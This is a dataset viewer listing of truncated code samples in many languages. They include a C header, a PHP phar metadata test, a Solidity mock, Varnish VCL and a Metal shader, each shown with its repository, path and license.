"revision" : 9
}
,
"rect" : [ 96.0, 68.0, 412.0, 715.0 ],
"bglocked" : 0,
"defrect" : [ 96.0, 68.0, 412.0, 715.0 ],
"openrect" : [ 0.0, 0.0, 0.0, 0.0 ],
"openinpresentation" : 1,
"default_fontsize" : 12.0,
"de... | Max | 3 | rlugojr/ChromeWebLab | Orchestra/sw/hub/max/sequencer.maxpat | [
"Apache-2.0"
] |
/* EINA - EFL data type library
* Copyright (C) 2013 Jérémy Zurcher
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any la... | Logos | 4 | AkshayJainG/veles | libVeles/eina/eina_inline_inlist.x | [
"Apache-2.0"
] |
---
ptopoConnLocalPort: 1.3.6.1.2.1.79.1.1.1.1.3
ptopoConnRemotePort: 1.3.6.1.2.1.79.1.1.1.1.8
ptopoConnLastVerifyTime: 1.3.6.1.2.1.79.1.1.1.1.15
ptopoConnRowStatus: 1.3.6.1.2.1.79.1.1.1.1.16
ptopoLastChangeTime: 1.3.6.1.2.1.79.1.2.1
ptopoConformance: 1.3.6.1.2.1.79.4
ptopoConnRemotePortType: 1.3.6.1.2.1.79.1.1.1.1.7
... | YAML | 2 | OsmanDere/metasploit-framework | data/snmp/mibs/PTOPO-MIB.yaml | [
"BSD-2-Clause",
"BSD-3-Clause"
] |
--TEST--
Phar with object in metadata
--EXTENSIONS--
phar
--INI--
phar.require_hash=0
phar.readonly=0
--FILE--
<?php
class EchoesOnWakeup {
public function __wakeup() {
echo "In __wakeup " . spl_object_id($this) . "\n";
}
public function __destruct() {
echo "In __destruct " . spl_object_id($... | PHP | 4 | NathanFreeman/php-src | ext/phar/tests/phar_metadata_write4.phpt | [
"PHP-3.01"
] |
function f(p: A) => p; | TypeScript | 1 | nilamjadhav/TypeScript | tests/cases/conformance/parser/ecmascript5/ErrorRecovery/parserErrantEqualsGreaterThanAfterFunction2.ts | [
"Apache-2.0"
] |
using OpenCV
const cv = OpenCV
# chess1.png is at https://raw.githubusercontent.com/opencv/opencv_extra/master/testdata/cv/cameracalibration/chess1.png
img = cv.imread("chess1.png",cv.IMREAD_GRAYSCALE)
climg = cv.cvtColor(img, cv.COLOR_GRAY2BGR)
# Find the chess board corners
ret, corners = cv.findChessboardCorners... | Julia | 4 | ptelang/opencv_contrib | modules/julia/samples/chessboard_corners.jl | [
"Apache-2.0"
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../interfaces/AggregatorInterface.sol";
/**
* @title MockV2Aggregator
* @notice Based on the HistoricAggregator contract
* @notice Use this contract when you need to test
* other contract's ability to read data from an
* aggregator contract, but how... | Solidity | 4 | solidity-external-tests/chainlink | contracts/src/v0.7/tests/MockV2Aggregator.sol | [
"MIT"
] |
# Copyright 2019 the gRPC authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in wri... | Python | 4 | arghyadip01/grpc | examples/python/multiprocessing/test/_multiprocessing_example_test.py | [
"Apache-2.0"
] |
=== MQL4/Libraries/OTMql4/OTZmqProcessCmd.mq4 ===
This is the replacement for what should be Eval in Mt4:
take a string expression and valuate it.
I know this is verbose and could be done more compactly,
but it's clean and robust so I'll leave it like this for now.
If you want to extend this for your own functions... | Creole | 4 | lionelyoung/OTMql4Zmq | wiki/OTZmqProcessCmd.creole | [
"MIT"
] |
Setup:
$ . $TESTDIR/setup.sh
$ printf 'Foo\n' >> ./sample
$ printf 'bar\n' >> ./sample
Smart case by default:
$ ag foo sample
1:Foo
$ ag FOO sample
[1]
$ ag 'f.o' sample
1:Foo
$ ag Foo sample
1:Foo
$ ag 'F.o' sample
1:Foo
Case sensitive mode:
$ ag -s foo sample
[1]
$ ag -s FOO sampl... | Perl | 3 | tdgroot/the_silver_searcher | tests/case_sensitivity.t | [
"Apache-2.0"
] |
% Syntax Highlight Test File for MatLab
% Some comments about this file
% HelloWorld in MatLab
disp('Hello World');
% And now some other randomness to test different color regions
for j=1:4,
j
end
A = 1; B = [];
if(A|B) disp 'The statement is true', end;
% Plotting Polynomials
x=[27.7 28 29 30];
a=[4.1 4.3 4.... | Matlab | 5 | ekkipermana/robotframework-test | Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/tests/syntax/matlab.matlab | [
"bzip2-1.0.6"
] |
fn main() {
let items = vec![1, 2, 3];
let ref_items: &[i32] = &items;
let items_clone: Vec<i32> = ref_items.clone();
//~^ ERROR mismatched types
// in that case no suggestion will be triggered
let items_clone_2:Vec<i32> = items.clone();
let s = "hi";
let string... | Rust | 3 | Eric-Arellano/rust | src/test/ui/issues/issue-53692.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
{-# OPTIONS --show-implicit #-}
-- {-# OPTIONS -v tc.polarity:10 -v tc.inj:40 -v tc.conv.irr:20 #-} -- -v tc.mod.apply:100 #-}
module Issue168 where
postulate X : Set
open import Issue168b
open Membership X
postulate
P : Nat → Set
lemma : ∀ n → P (id n)
foo : P zero
foo = lemma _
| Agda | 4 | cruhland/agda | test/Succeed/Issue168.agda | [
"MIT"
] |
PREFIX : <http://example.org/>
PREFIX xsd: <http://www.w3.org/2001/XMLSchema#>
SELECT ?s1 ?s2
(BNODE(?s1) AS ?b1) (BNODE(?s2) AS ?b2)
WHERE {
?a :str ?s1 .
?b :str ?s2 .
FILTER (?a = :s1 || ?a = :s3)
FILTER (?b = :s1 || ?b = :s3)
}
| SPARQL | 3 | alpano-unibz/ontop | test/sparql-compliance/src/test/resources/testcases-dawg-sparql-1.1/functions/bnode01.rq | [
"Apache-2.0"
] |
@tableflux.h2o_temperature{surface_degrees, time}
| FLUX | 0 | RohanSreerama5/flux | colm/tableflux/query01.flux | [
"MIT"
] |
sub breadcrumb_recv {
if (req.restarts == 0) {
set req.http.X-VCL-Route = "VCL_RECV";
} else {
set req.http.X-VCL-Route = req.http.X-VCL-Route ",VCL_RECV";
}
}
sub breadcrumb_hash {
set req.http.X-VCL-Route = req.http.X-VCL-Route ",VCL_HASH";
}
sub breadcrumb_miss {
set req.http.X-PreFetch-Miss = ",VCL_MISS"... | VCL | 3 | edenlabllc/polyfill-service | packages/polyfill-service/fastly/vcl/breadcrumbs.vcl | [
"MIT"
] |
#tag Class
Private Class NSTextCheckingResult
Inherits NSObject
#tag Method, Flags = &h21
Private Shared Function ClassRef() As Ptr
static ref as ptr = NSClassFromString("NSTextCheckingResult")
return ref
End Function
#tag EndMethod
#tag Method, Flags = &h0
Function RangeAtIndex(idx as UInteger) As NS... | Xojo | 4 | kingj5/iOSKit | Modules/JKRegEx/NSTextCheckingResult.xojo_code | [
"MIT"
] |
#pragma once
#include "envoy/server/fatal_action_config.h"
#include "gmock/gmock.h"
namespace Envoy {
namespace Server {
namespace Configuration {
class MockFatalActionFactory : public FatalActionFactory {
public:
MOCK_METHOD(FatalActionPtr, createFatalActionFromProto,
(const envoy::config::bootstrap... | C | 4 | dcillera/envoy | test/mocks/server/fatal_action_factory.h | [
"Apache-2.0"
] |
fn main() {
let in_ = false;
for variable_in_x /* ... */ in 0..1 {
for variable_in_y /* ... */ in 0..1 {
if in_ {
} else if in_ {
} else {
}
}
}
}
| Rust | 2 | ohno418/rust | src/tools/rustfmt/tests/target/issue-5009/5_nested_for_loop_with_connector_in_if_elseif_else.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
//
// CoreMLRaster.metal
// MNN
//
// Created by MNN on 2021/04/26.
// Copyright © 2018, Alibaba Group Holding Limited
//
#include <metal_stdlib>
using namespace metal;
struct SamplerInfo {
uint4 stride; //stride[3] + offset
uint4 size; //size[3] + totalSize
uint4 extent; //dstStride[3]+dstOffs... | Metal | 4 | foreverlms/MNN | source/backend/coreml/backend/CoreMLRaster.metal | [
"Apache-2.0"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.